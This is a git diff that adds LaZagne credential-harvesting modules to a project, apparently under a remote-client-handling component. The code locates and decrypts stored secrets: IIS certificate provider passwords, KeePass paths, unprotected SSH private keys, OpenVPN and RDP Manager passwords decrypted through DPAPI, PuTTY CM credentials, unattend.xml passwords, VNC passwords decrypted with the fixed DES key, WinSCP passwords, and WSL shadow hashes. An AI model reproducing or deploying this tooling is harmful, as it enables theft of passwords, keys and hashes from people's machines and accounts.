self.create_RSAKeyValueFile(exe_files[-1], "iisWASKey") + if rsa_xml_file == '': + self.debug(u'Problems extracting RSA Key Value') + return + + with open(rsa_xml_file, 'rb') as File: + rsa_key_xml = File.read() + + os.remove(rsa_xml_file) + self.debug(u'Temporary file removed: {filename}'.format(filename=rsa_xml_file)) + privkey = self.read_RSAKeyValue(rsa_key_xml) + values = {} + + CertStoreLocation = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'CertStoreLocation') + values['CertStoreLocation'] = CertStoreLocation + + username = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'Username') + values['Username'] = username + + pass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'Password') + values['Password'] = self.decrypt_hash_b64(pass64, privkey) + + privpass64 = self.get_registry_key('HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\IIS\\CentralCertProvider', + 'PrivateKeyPassword') + values['Private Key Password'] = self.decrypt_hash_b64(privpass64, privkey) + + pfound.append(values) + return pfound diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py b/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py new file mode 100644 index 0000000..7caf5d8 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/keepassconfig.py @@ -0,0 +1,116 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import * + +import os + +from xml.etree.ElementTree import parse + +class KeePassConfig(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'keepassconfig', 'sysadmin') + self.attr_to_extract = ["Keyfile", "Database", "Type"] + + def run(self): + """ + Main function + """ + + pwd_found = [] + + #Keepass1 + connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass') + if os.path.exists(connection_file_directory): + connection_file_location = os.path.join(connection_file_directory, u'KeePass.ini') + if os.path.isfile(connection_file_location): + file_content = open(connection_file_location, 'r').read() + #KeeKeySourceID + if len(file_content.split("KeeKeySourceID")) > 1: + KeeKeySource_number = len(file_content.split("KeeKeySourceID")) - 1 + for i in range(0, KeeKeySource_number ): + database = file_content.partition("KeeKeySourceID" + str(i) + "=" )[2].partition('\n')[0] + database = database.replace('..\\..\\', 'C:\\') + keyfile = file_content.partition("KeeKeySourceValue" + str(i) + "=" )[2].partition('\n')[0] + pwd_found.append({ + 'Keyfile': keyfile, + 'Database': database + }) + #KeeLastDb + if file_content.partition("KeeLastDb=")[1] == "KeeLastDb=": + database = file_content.partition("KeeLastDb=")[2].partition('\n')[0] + database = database.replace('..\\..\\', 'C:\\') + already_in_pwd_found = 0 + for elmt in pwd_found: + if database == elmt['Database']: + already_in_pwd_found = 1 + if already_in_pwd_found == 0: + pwd_found.append({ + 'Keyfile': "No keyfile found", + 'Database': database + }) + #Keepass2 + connection_file_directory = os.path.join(constant.profile['APPDATA'], u'KeePass') + if os.path.exists(connection_file_directory): + connection_file_location = os.path.join(connection_file_directory, u'KeePass.config.xml') + + if os.path.isfile(connection_file_location): + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//Association") + for connection_node in connection_nodes: + database = connection_node.find('DatabasePath').text.replace('..\\..\\', 'C:\\') + type = "" + if connection_node.find('Password') is not None: + type += "Password - " + if connection_node.find('UserAccount') is not None: + type += "NTLM - " + try: + keyfile = connection_node.find('KeyFilePath').text.replace('..\\..\\', 'C:\\') + type += "Keyfile - " + except: + keyfile = "No keyfile found" + + pwd_found.append({ + 'Keyfile': keyfile, + 'Database': database, + 'Type': type[:-3] + }) + except: + pass + + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//LastUsedFile") + for connection_node in connection_nodes: + database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\') + already_in_pwd_found = 0 + for elmt in pwd_found: + if database == elmt['Database']: + already_in_pwd_found = 1 + if already_in_pwd_found == 0: + pwd_found.append({ + 'Keyfile': "No keyfile found", + 'Database': database + }) + except: + pass + + try: + connections = parse(connection_file_location).getroot() + connection_nodes = connections.findall(".//ConnectionInfo") + for connection_node in connection_nodes: + database = connection_node.find('Path').text.replace('..\\..\\', 'C:\\') + already_in_pwd_found = 0 + for elmt in pwd_found: + if database == elmt['Database']: + already_in_pwd_found = 1 + if already_in_pwd_found == 0: + pwd_found.append({ + 'Keyfile': "No keyfile found", + 'Database': database + }) + except: + pass + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py b/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py new file mode 100644 index 0000000..5c410d2 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/opensshforwindows.py @@ -0,0 +1,90 @@ +# -*- coding: utf-8 -*- +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant +# from Crypto.PublicKey import RSA +# from Crypto.PublicKey import DSA +import os + + +class OpenSSHForWindows(ModuleInfo): + + def __init__(self): + ModuleInfo.__init__(self, 'opensshforwindows', 'sysadmin') + #self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh') + + # Retrieve SSH private key even if a passphrase is set (the goal is to remove crypto dependency) + # def is_private_key_unprotected(self, key_content_encoded, key_algorithm): + # """ + # Check if the private key can be loaded without specifying any passphrase. + # + # PyCrypto >= 2.6.1 required in order to have the method importKey() in DSA class. + # + # :param key_content_encoded: Encoded content of the private key to test + # :param key_algorithm: Algorithm of the key (RSA or DSA) + # :return: True only if the key can be successfuly loaded and is usable + # """ + # state = False + # try: + # # Try to load it + # if key_algorithm == "RSA": + # key = RSA.importKey(key_content_encoded) + # else: + # key = DSA.importKey(key_content_encoded) + # # Validate loading + # state = (key is not None and key.can_sign() and key.has_private()) + # except Exception as e: + # self.error(u"Cannot validate key protection '%s'" % e) + # state = False + # pass + # + # return state + + def extract_private_keys_unprotected(self): + """ + Extract all DSA/RSA private keys that are not protected with a passphrase. + + :return: List of encoded key (key file content) + """ + keys = [] + if os.path.isdir(self.key_files_location): + for (dirpath, dirnames, filenames) in os.walk(self.key_files_location, followlinks=True): + for f in filenames: + key_file_path = os.path.join(dirpath, f) + if os.path.isfile(key_file_path): + try: + # Read encoded content of the key + with open(key_file_path, "r") as key_file: + key_content_encoded = key_file.read() + # Determine the type of the key (public/private) and what is it algorithm + if "DSA PRIVATE KEY" in key_content_encoded: + key_algorithm = "DSA" + elif "RSA PRIVATE KEY" in key_content_encoded or "OPENSSH PRIVATE KEY" in key_content_encoded: + key_algorithm = "RSA" + else: + key_algorithm = None + # Check if the key can be loaded (used) without passphrase + # if key_algorithm is not None and self.is_private_key_unprotected(key_content_encoded, + # key_algorithm): + if key_algorithm: + keys.append(key_content_encoded) + except Exception as e: + self.error(u"Cannot load key file '%s' '%s'" % (key_file_path, e)) + pass + + return keys + + def run(self): + """ + Main function + """ + self.key_files_location = os.path.join(constant.profile["USERPROFILE"], u'.ssh') + # Extract all DSA/RSA private keys that are not protected with a passphrase + unprotected_private_keys = self.extract_private_keys_unprotected() + + # Parse and process the list of keys + key_found = [] + for key in unprotected_private_keys: + values = {"Privatekey": key} + key_found.append(values) + + return key_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py b/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py new file mode 100644 index 0000000..9495cbd --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/openvpn.py @@ -0,0 +1,55 @@ +try: + import _winreg as winreg +except ImportError: + import winreg + +from foreign.client_handling.lazagne.config.winstructure import * +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData +from foreign.client_handling.lazagne.config.constant import constant + + +class OpenVPN(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, name='openvpn', category='sysadmin', registry_used=True, winapi_used=True) + + def check_openvpn_installed(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\OpenVPN-GUI\\Configs') + return key + except Exception as e: + self.debug(str(e)) + return False + + def decrypt_password(self, encrypted_password, entropy): + return Win32CryptUnprotectData(encrypted_password, + entropy=entropy, + is_current_user=constant.is_current_user, + user_dpapi=constant.user_dpapi) + + def get_credentials(self, key): + pwd_found = [] + num_profiles = winreg.QueryInfoKey(key)[0] + for n in range(num_profiles): + name_skey = winreg.EnumKey(key, n) + skey = OpenKey(key, name_skey) + values = {'Profile': name_skey} + try: + encrypted_password = winreg.QueryValueEx(skey, "auth-data")[0] + entropy = winreg.QueryValueEx(skey, "entropy")[0][:-1] + password = self.decrypt_password(encrypted_password, entropy) + values['Password'] = password.decode('utf16') + except Exception as e: + self.debug(str(e)) + pwd_found.append(values) + winreg.CloseKey(skey) + winreg.CloseKey(key) + + return pwd_found + + def run(self): + openvpn_key = self.check_openvpn_installed() + if openvpn_key: + results = self.get_credentials(openvpn_key) + if results: + return results diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py b/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py new file mode 100644 index 0000000..6d908ab --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/puttycm.py @@ -0,0 +1,51 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER, string_to_unicode + +import os + + +class Puttycm(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'puttycm', 'sysadmin', registry_used=True) + + def run(self): + database_path = self.get_default_database() + if database_path and os.path.exists(database_path): + return self.parse_xml(database_path) + + def get_default_database(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\ACS\\PuTTY Connection Manager') + db = string_to_unicode(winreg.QueryValueEx(key, 'DefaultDatabase')[0]) + winreg.CloseKey(key) + return db + except Exception: + return False + + def parse_xml(self, database_path): + xml_file = os.path.expanduser(database_path) + tree = ElementTree(file=xml_file) + root = tree.getroot() + + pwd_found = [] + elements = ['name', 'protocol', 'host', 'port', 'description', 'login', 'password'] + for connection in root.iter('connection'): + children = connection.getchildren() + values = {} + for child in children: + for c in child: + if str(c.tag) in elements: + values[str(c.tag).capitalize()] = str(c.text) + + if values: + pwd_found.append(values) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py b/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py new file mode 100644 index 0000000..5b3e4f5 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/rdpmanager.py @@ -0,0 +1,96 @@ +# -*- coding: utf-8 -*- +import base64 + +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import Win32CryptUnprotectData +from foreign.client_handling.lazagne.config.constant import constant + +import os + + +class RDPManager(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'rdpmanager', 'sysadmin', winapi_used=True) + + def decrypt_password(self, encrypted_password): + try: + decoded = base64.b64decode(encrypted_password) + password_decrypted = Win32CryptUnprotectData(decoded, is_current_user=constant.is_current_user, user_dpapi=constant.user_dpapi) + password_decrypted = password_decrypted.replace('\x00', '') + except Exception: + password_decrypted = encrypted_password.replace('\x00', '') + return password_decrypted + + def format_output_tag(self, tag): + tag = tag.lower() + if 'username' in tag: + tag = 'Login' + elif 'hostname' in tag: + tag = 'URL' + return tag.capitalize() + + def check_tag_content(self, values, c): + if 'password' in c.tag.lower(): + values['Password'] = self.decrypt_password(c.text) + else: + tag = self.format_output_tag(c.tag) + values[tag] = c.text + return values + + def parse_element(self, root, element): + pwd_found = [] + try: + for r in root.findall(element): + values = {} + for child in r.getchildren(): + if child.tag == 'properties': + for c in child.getchildren(): + values = self.check_tag_content(values, c) + elif child.tag == 'logonCredentials': + for c in child.getchildren(): + values = self.check_tag_content(values, c) + else: + values = self.check_tag_content(values, child) + if values: + pwd_found.append(values) + except Exception as e: + self.debug(str(e)) + + return pwd_found + + def run(self): + settings = [ + os.path.join(constant.profile['LOCALAPPDATA'], + u'Microsoft Corporation\\Remote Desktop Connection Manager\\RDCMan.settings'), + os.path.join(constant.profile['LOCALAPPDATA'], + u'Microsoft\\Remote Desktop Connection Manager\\RDCMan.settings') + ] + + for setting in settings: + if os.path.exists(setting): + self.debug(u'Setting file found: {setting}'.format(setting=setting)) + + tree = ElementTree(file=setting) + root = tree.getroot() + pwd_found = [] + + elements = [ + 'CredentialsProfiles/credentialsProfiles/credentialsProfile', + 'DefaultGroupSettings/defaultSettings/logonCredentials', + 'file/server', + ] + + for element in elements: + pwd_found += self.parse_element(root, element) + + try: + for r in root.find('FilesToOpen'): + if os.path.exists(r.text): + self.debug(u'New setting file found: %s' % r.text) + pwd_found += self.parse_xml(r.text) + except Exception: + pass + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py b/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py new file mode 100644 index 0000000..dd0733e --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/unattended.py @@ -0,0 +1,75 @@ +# -*- coding: utf-8 -*- + +import base64 + +from xml.etree.cElementTree import ElementTree + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant +from foreign.client_handling.lazagne.config.winstructure import string_to_unicode + +import os + + +class Unattended(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'unattended', 'sysadmin', system_module=True) + + # Password should be encoded in b64 + def try_b64_decode(self, message): + try: + return base64.b64decode(message) + except Exception: + return message + + def run(self): + + windir = os.path.join(constant.profile['HOMEDRIVE'], string_to_unicode(os.sep), u'Windows') + files = [ + 'Panther\\Unattend.xml', + 'Panther\\Unattended.xml', + 'Panther\\Unattend\\Unattended.xml', + 'Panther\\Unattend\\Unattend.xml', + 'System32\\Sysprep\\unattend.xml', + 'System32\\Sysprep\\Panther\\unattend.xml' + ] + + pwd_found = [] + xmlns = '{urn:schemas-microsoft-com:unattend}' + for file in files: + path = os.path.join(windir, string_to_unicode(file)) + if os.path.exists(path): + self.debug(u'Unattended file found: %s' % path) + tree = ElementTree(file=path) + root = tree.getroot() + + for setting in root.findall('%ssettings' % xmlns): + component = setting.find('%scomponent' % xmlns) + + auto_logon = component.find('%sauto_logon' % xmlns) + if auto_logon: + username = auto_logon.find('%sUsername' % xmlns) + password = auto_logon.find('%sPassword' % xmlns) + if all((username, password)): + # Remove false positive (with following message on password => *SENSITIVE*DATA*DELETED*) + if 'deleted' not in password.text.lower(): + pwd_found.append({ + 'Login': username.text, + 'Password': self.try_b64_decode(password.text) + }) + + user_accounts = component.find('%suser_accounts' % xmlns) + if user_accounts: + local_accounts = user_accounts.find('%slocal_accounts' % xmlns) + if local_accounts: + for local_account in local_accounts.findall('%slocal_account' % xmlns): + username = local_account.find('%sName' % xmlns) + password = local_account.find('%sPassword' % xmlns) + if all((username, password)): + if 'deleted' not in password.text.lower(): + pwd_found.append({ + 'Login': username.text, + 'Password': self.try_b64_decode(password.text) + }) + + return pwd_found diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py new file mode 100644 index 0000000..b4b8030 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/vnc.py @@ -0,0 +1,162 @@ +# Code based on vncpasswd.py by trinitronx +# https://github.com/trinitronx/vncpasswd.py +import binascii +import codecs +import traceback + +try: + import _winreg as winreg +except ImportError: + import winreg + +from . import d3des as d +from foreign.client_handling.lazagne.config.winstructure import * +from foreign.client_handling.lazagne.config.module_info import ModuleInfo + + +class Vnc(ModuleInfo): + def __init__(self): + self.vnckey = [23, 82, 107, 6, 35, 78, 88, 7] + ModuleInfo.__init__(self, name='vnc', category='sysadmin') + + def split_len(self, seq, length): + return [seq[i:i + length] for i in range(0, len(seq), length)] + + def do_crypt(self, password, decrypt): + passpadd = (password + '\x00' * 8)[:8] + strkey = b''.join([chr_or_byte(x) for x in int(self.vnckey)]) + key = d.deskey(strkey, decrypt) + crypted = d.desfunc(passpadd, key) + return crypted + + def unhex(self, s): + try: + s = codecs.decode(s, 'hex') + except TypeError as e: + if e.message == 'Odd-length string': + self.debug('%s . Chopping last char off... "%s"' % (e.message, s[:-1])) + s = codecs.decode(s[:-1], 'hex') + else: + return False + return s + + def reverse_vncpassword(self, hash): + encpasswd = self.unhex(hash) + pwd = None + if encpasswd: + # If the hex encoded passwd length is longer than 16 hex chars and divisible + # by 16, then we chop the passwd into blocks of 64 bits (16 hex chars) + # (1 hex char = 4 binary bits = 1 nibble) + hexpasswd = codecs.encode(encpasswd, 'hex') + if len(hexpasswd) > 16 and (len(hexpasswd) % 16) == 0: + splitstr = self.split_len(codecs.encode(hash, 'hex'), 16) + cryptedblocks = [] + for sblock in splitstr: + cryptedblocks.append(self.do_crypt(codecs.decode(sblock, 'hex'), True)) + pwd = b''.join(cryptedblocks) + elif len(hexpasswd) <= 16: + pwd = self.do_crypt(encpasswd, True) + else: + pwd = self.do_crypt(encpasswd, True) + return pwd + + def vnc_from_registry(self): + pfound = [] + vncs = ( + ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432Node\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\vncserver', 'Password'), + ('RealVNC 4.x', 'HKEY_LOCAL_MACHINE\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 4.x', 'HKEY_CURRENT_USER\\SOFTWARE\\RealVNC\\WinVNC4', 'Password'), + ('RealVNC 3.x', 'HKEY_CURRENT_USER\\Software\\ORL\\WinVNC3', 'Password'), + ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC', 'HKEY_CURRENT_USER\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'Password'), + ('TightVNC ControlPassword', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'ControlPassword'), + ('TightVNC', 'HKEY_LOCAL_MACHINE\\Software\\TightVNC\\Server', 'PasswordViewOnly'), + ('TigerVNC', 'HKEY_LOCAL_MACHINE\\Software\\TigerVNC\\Server', 'Password'), + ('TigerVNC', 'HKEY_CURRENT_USER\\Software\\TigerVNC\\Server', 'Password'), + ) + + for vnc in vncs: + try: + if vnc[1].startswith('HKEY_LOCAL_MACHINE'): + hkey = OpenKey(HKEY_LOCAL_MACHINE, vnc[1].replace('HKEY_LOCAL_MACHINE\\', '')) + + elif vnc[1].startswith('HKEY_CURRENT_USER'): + hkey = OpenKey(HKEY_CURRENT_USER, vnc[1].replace('HKEY_CURRENT_USER\\', '')) + + reg_key = winreg.QueryValueEx(hkey, vnc[2])[0] + except Exception: + self.debug(u'Problems with key:: {reg_key}'.format(reg_key=vnc[1])) + continue + + try: + enc_pwd = binascii.hexlify(reg_key).decode() + except Exception: + self.debug(u'Problems with decoding: {reg_key}'.format(reg_key=reg_key)) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + except Exception: + self.info(u'Problems with reverse_vncpassword: {reg_key}'.format(reg_key=reg_key)) + self.debug() + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + + return pfound + + def vnc_from_filesystem(self): + # os.environ could be used here because paths are identical between users + pfound = [] + vncs = ( + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\uvnc bvba\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['PROGRAMFILES'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd'), + ('UltraVNC', os.environ['ProgramFiles(x86)'] + '\\UltraVNC\\ultravnc.ini', 'passwd2'), + ) + + for vnc in vncs: + string_to_match = vnc[2] + '=' + enc_pwd = '' + try: + with open(vnc[1], 'r') as file: + for line in file: + if string_to_match in line: + enc_pwd = line.replace(string_to_match, '').replace('\n', '') + except Exception: + self.debug('Problems with file: {file}'.format(file=vnc[1])) + continue + + values = {} + try: + password = self.reverse_vncpassword(enc_pwd) + if password: + values['Password'] = password + except Exception: + self.debug(u'Problems with reverse_vncpassword: {enc_pwd}'.format(enc_pwd=enc_pwd)) + self.debug(traceback.format_exc()) + continue + + values['Server'] = vnc[0] + # values['Hash'] = enc_pwd + pfound.append(values) + + return pfound + + def vnc_from_process(self): + # Not yet implemented + return [] + + def run(self): + return self.vnc_from_filesystem() + self.vnc_from_registry() + self.vnc_from_process() diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py b/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py new file mode 100644 index 0000000..b3bfe33 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/winscp.py @@ -0,0 +1,129 @@ +# -*- coding: utf-8 -*- +try: + import _winreg as winreg +except ImportError: + import winreg + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.winstructure import OpenKey, HKEY_CURRENT_USER + + +class WinSCP(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'winscp', 'sysadmin', registry_used=True) + self.hash = '' + + # ------------------------------ Getters and Setters ------------------------------ + def decrypt_char(self): + hex_flag = 0xA3 + charset = '0123456789ABCDEF' + + if len(self.hash) > 0: + unpack1 = charset.find(self.hash[0]) + unpack1 = unpack1 << 4 + + unpack2 = charset.find(self.hash[1]) + result = ~((unpack1 + unpack2) ^ hex_flag) & 0xff + + # store the new hash + self.hash = self.hash[2:] + + return result + + def check_winscp_installed(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Configuration\\Security') + return key + except Exception as e: + self.debug(str(e)) + return False + + def check_masterPassword(self, key): + is_master_pwd_used = winreg.QueryValueEx(key, 'UseMasterPassword')[0] + winreg.CloseKey(key) + if str(is_master_pwd_used) == '0': + return False + else: + return True + + def get_credentials(self): + try: + key = OpenKey(HKEY_CURRENT_USER, 'Software\\Martin Prikryl\\WinSCP 2\\Sessions') + except Exception as e: + self.debug(str(e)) + return False + + pwd_found = [] + num_profiles = winreg.QueryInfoKey(key)[0] + for n in range(num_profiles): + name_skey = winreg.EnumKey(key, n) + skey = OpenKey(key, name_skey) + num = winreg.QueryInfoKey(skey)[1] + + values = {} + elements = {'HostName': 'URL', 'UserName': 'Login', 'PortNumber': 'Port', 'Password': 'Password'} + for nn in range(num): + k = winreg.EnumValue(skey, nn) + + for e in elements: + if k[0] == e: + if e == 'Password': + try: + values['Password'] = self.decrypt_password( + username=values.get('Login', ''), + hostname=values.get('URL', ''), + _hash=k[1] + ) + except Exception as e: + self.debug(str(e)) + else: + values[elements[k[0]]] = str(k[1]) + + if num != 0: + if 'Port' not in values: + values['Port'] = '22' + + pwd_found.append(values) + + winreg.CloseKey(skey) + winreg.CloseKey(key) + + return pwd_found + + def decrypt_password(self, username, hostname, _hash): + self.hash = _hash + hex_flag = 0xFF + + flag = self.decrypt_char() + if flag == hex_flag: + self.decrypt_char() + length = self.decrypt_char() + else: + length = flag + + ldel = (self.decrypt_char()) * 2 + self.hash = self.hash[ldel: len(self.hash)] + + result = '' + for ss in range(length): + + try: + result += chr(int(self.decrypt_char())) + except Exception as e: + self.debug(str(e)) + + if flag == hex_flag: + key = username + hostname + result = result[len(key): len(result)] + + return result + + def run(self): + winscp_key = self.check_winscp_installed() + if winscp_key: + if not self.check_masterPassword(winscp_key): + results = self.get_credentials() + if results: + return results + else: + self.warning(u'A master password is used. Passwords cannot been retrieved') diff --git a/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py b/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py new file mode 100644 index 0000000..b4e63e0 --- /dev/null +++ b/foreign/client_handling/lazagne/softwares/sysadmin/wsl.py @@ -0,0 +1,44 @@ +# -*- coding: utf-8 -*- + +from foreign.client_handling.lazagne.config.module_info import ModuleInfo +from foreign.client_handling.lazagne.config.constant import constant + +import os + + +class Wsl(ModuleInfo): + def __init__(self): + ModuleInfo.__init__(self, 'wsl', 'sysadmin') + + def run(self): + pwd_found = [] + shadow_files_list = [] + + # Old WSL PATH + old_path = os.path.join(constant.profile['LOCALAPPDATA'], u'lxss\\rootfs\\etc\\shadow') + + if os.path.exists(old_path): + shadow_files_list.append(old_path) + + # New WSL PATH need to look into Package folder + new_path = os.path.join(constant.profile['LOCALAPPDATA'], u'Packages\\') + if os.path.exists(new_path): + for root, dirs, files in os.walk(new_path): + for file in files: + if file == "shadow": + shadow_files_list.append(os.path.join(root, file)) + + # Extract the hashes + for shadow in shadow_files_list: + with open(shadow, 'r') as shadow_file: + for line in shadow_file.readlines(): + user_hash = line.replace('\n', '') + line = user_hash.split(':') + + # Check if a password is defined + if not line[1] in ['x', '*', '!']: + pwd_found.append({ + 'Hash': ':'.join(user_hash.split(':')[1:]), + 'Login': user_hash.split(':')[0].replace('\n', '') + }) + return pwd_found |